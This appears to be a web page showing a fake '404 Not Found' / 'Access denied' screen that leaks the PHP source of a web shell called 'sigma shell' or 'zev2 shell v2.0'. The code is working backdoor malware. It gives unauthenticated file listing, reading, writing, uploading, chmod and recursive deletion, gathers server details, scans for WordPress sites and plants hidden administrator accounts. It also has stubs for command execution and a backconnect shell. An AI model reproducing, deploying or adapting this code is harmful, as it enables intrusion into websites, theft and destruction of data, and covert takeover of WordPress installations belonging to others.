Not Found

The requested URL was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Access denied
false, 'message' => 'wp-load.php not found at: ' . $wp_load]; } try { ob_start(); if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); if (!defined('SHORTINIT')) define('SHORTINIT', false); require_once($wp_load); ob_end_clean(); } catch (Exception $e) { if (ob_get_level()) ob_end_clean(); return ['success' => false, 'message' => 'Error loading WordPress: ' . $e->getMessage()]; } catch (Throwable $e) { if (ob_get_level()) ob_end_clean(); return ['success' => false, 'message' => 'Error loading WordPress: ' . $e->getMessage()]; } if (!function_exists('wp_insert_user')) { return ['success' => false, 'message' => 'WordPress functions not available (wp_insert_user missing)']; } $user_id = username_exists($username); if ($user_id) { return ['success' => false, 'message' => 'Username already exists']; } if (email_exists($email)) { return ['success' => false, 'message' => 'Email already exists']; } $user_id = wp_insert_user([ 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'user_registered' => date('Y-m-d H:i:s'), 'role' => 'administrator', 'display_name' => $username, 'nickname' => $username ]); if (is_wp_error($user_id)) { return ['success' => false, 'message' => 'Error: ' . $user_id->get_error_message()]; } if (class_exists('WP_User')) { $user = new WP_User($user_id); $user->set_role('administrator'); } return ['success' => true, 'message' => "Admin user '$username' created successfully (ID: $user_id)"]; } function scanWordPress($path) { $sites = []; if (!is_dir($path)) return $sites; $items = @scandir($path); if (!is_array($items)) return $sites; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $path . '/' . $item; if (is_dir($full_path)) { if (file_exists($full_path . '/wp-load.php')) { $sites[] = $full_path; } } else { if ($item == 'wp-load.php') { $sites[] = $path; } } } if (file_exists($path . '/wp-load.php')) { if (!in_array($path, $sites)) { $sites[] = $path; } } return array_unique($sites); } // FUNGSI FILE MANAGER function safeOwner($path) { if (canCall('posix_getpwuid') && canCall('fileowner')) { $uid = @fileowner($path); if ($uid !== false) { $pw = @posix_getpwuid($uid); if (is_array($pw) && isset($pw['name'])) return $pw['name']; } } return '?'; } function safeGroup($path) { if (canCall('posix_getgrgid') && canCall('filegroup')) { $gid = @filegroup($path); if ($gid !== false) { $gr = @posix_getgrgid($gid); if (is_array($gr) && isset($gr['name'])) return $gr['name']; } } return '?'; } function safePerms($path) { $p = @fileperms($path); if ($p === false) return '0000'; return substr(sprintf('%o', $p), -4); } function listDir($dir) { $items = []; if ($dh = @opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file != '.' && $file != '..') { $path = rtrim($dir, '/') . '/' . $file; $items[] = [ 'name' => $file, 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => is_file($path) ? @filesize($path) : 0, 'mtime' => @filemtime($path) ?: time(), 'perms' => safePerms($path), 'owner' => safeOwner($path), 'group' => safeGroup($path) ]; } } closedir($dh); } usort($items, function($a, $b) { if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']); return $a['type'] == 'dir' ? -1 : 1; }); return $items; } function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function getSystemInfo() { $info = []; if (canCall('php_uname')) { $info['kernel'] = php_uname('s') . ' ' . php_uname('r'); $info['hostname'] = php_uname('n'); } else { $info['kernel'] = 'Unknown (php_uname disabled)'; $info['hostname'] = 'Unknown'; } $uid = '?'; if (canCall('getmyuid')) { $u = @getmyuid(); if ($u !== false) $uid = $u; } $user = 'Unknown'; if (canCall('get_current_user')) { $user = @get_current_user(); } elseif (canCall('posix_getpwuid') && $uid !== '?') { $pw = @posix_getpwuid($uid); if (is_array($pw) && isset($pw['name'])) $user = $pw['name']; } $info['user'] = $user . ' (UID: ' . $uid . ')'; $disabled = @ini_get('disable_functions'); $info['disabled'] = ($disabled !== false && $disabled !== '') ? $disabled : 'None'; $info['phpver'] = phpversion(); $info['server_ip'] = $_SERVER['SERVER_ADDR'] ?? 'Unknown'; $info['client_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $info['software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; return $info; } // AJAX HANDLERS if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') { header('Content-Type: application/json'); if (isset($_POST['action'])) { $response = ['success' => false, 'message' => '', 'data' => null]; switch ($_POST['action']) { case 'list': $dir = $_POST['dir'] ?? '.'; $items = listDir($dir); $response['success'] = true; $response['data'] = $items; break; case 'rename': $old = $_POST['old'] ?? ''; $new = $_POST['new'] ?? ''; if ($old && $new && file_exists($old) && @rename($old, $new)) { $response['success'] = true; $response['message'] = 'Renamed successfully'; } break; case 'delete': $path = $_POST['path'] ?? ''; if ($path && file_exists($path)) { if (is_dir($path)) { $success = true; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { if ($f->isDir()) $success = @rmdir($f->getRealPath()) && $success; else $success = @unlink($f->getRealPath()) && $success; } $success = @rmdir($path) && $success; $response['success'] = $success; $response['message'] = $success ? 'Deleted' : 'Delete failed'; } else { if (@unlink($path)) { $response['success'] = true; $response['message'] = 'Deleted'; } } } break; case 'save': $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; if ($file && @file_put_contents($file, $content) !== false) { $response['success'] = true; $response['message'] = 'Saved'; } break; case 'chmod': if (isDisabled('chmod') || !function_exists('chmod')) { $response['success'] = false; $response['message'] = 'chmod() disabled on this host'; break; } $path = $_POST['path'] ?? ''; $perms = $_POST['perms'] ?? ''; if ($path && $perms && @chmod($path, octdec($perms))) { $response['success'] = true; $response['message'] = 'Permissions changed'; } break; case 'mkdir': $dir = $_POST['dir'] ?? ''; if ($dir && !file_exists($dir) && @mkdir($dir, 0755, true)) { $response['success'] = true; $response['message'] = 'Directory created'; } break; case 'mkfile': $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; if ($file && @file_put_contents($file, $content) !== false) { $response['success'] = true; $response['message'] = 'File created'; } break; case 'upload': if (isset($_FILES['file'])) { $target = $_POST['path'] . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $response['success'] = true; $response['message'] = 'Uploaded'; } } break; case 'read': $file = $_POST['file'] ?? ''; if ($file && file_exists($file) && is_file($file)) { $response['success'] = true; $response['data'] = @file_get_contents($file); } break; case 'cmd': $response['success'] = false; $response['message'] = 'Command execution disabled on this host'; break; case 'backconnect': $response['success'] = false; $response['message'] = 'Backconnect disabled on this host'; break; case 'cgi': $response['success'] = false; $response['message'] = 'CGI shell disabled on this host'; break; case 'wp_scan': $path = $_POST['path'] ?? '.'; $sites = scanWordPress($path); $response['success'] = true; $response['sites'] = $sites; $response['count'] = count($sites); break; case 'wp_add': $path = $_POST['wp_path'] ?? ''; $user = $_POST['username'] ?? ''; $pass = $_POST['password'] ?? ''; $email = $_POST['email'] ?? ''; if ($path && $user && $pass && $email) { $response = wpAddAdmin($path, $user, $pass, $email); } else { $response['message'] = 'All fields required'; } break; } echo json_encode($response); exit; } } // MAIN SHELL $cwd = isset($_GET['dir']) ? $_GET['dir'] : '.'; $cwd = @realpath($cwd); if (!$cwd) $cwd = @realpath('.'); if (!$cwd) $cwd = '/'; if ($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; $sys_info = getSystemInfo(); ?> sigma shell
Kernel
User
Disabled Functions
PHP Version
Server IP
Your IP
Software

zev2 shell v2.0

~'; foreach ($parts as $p) { if ($p) { $path .= '/' . $p; echo ' / ' . htmlspecialchars($p) . ''; } } ?>
Name Size Perms Owner/Group Modified Actions
Loading...
Terminal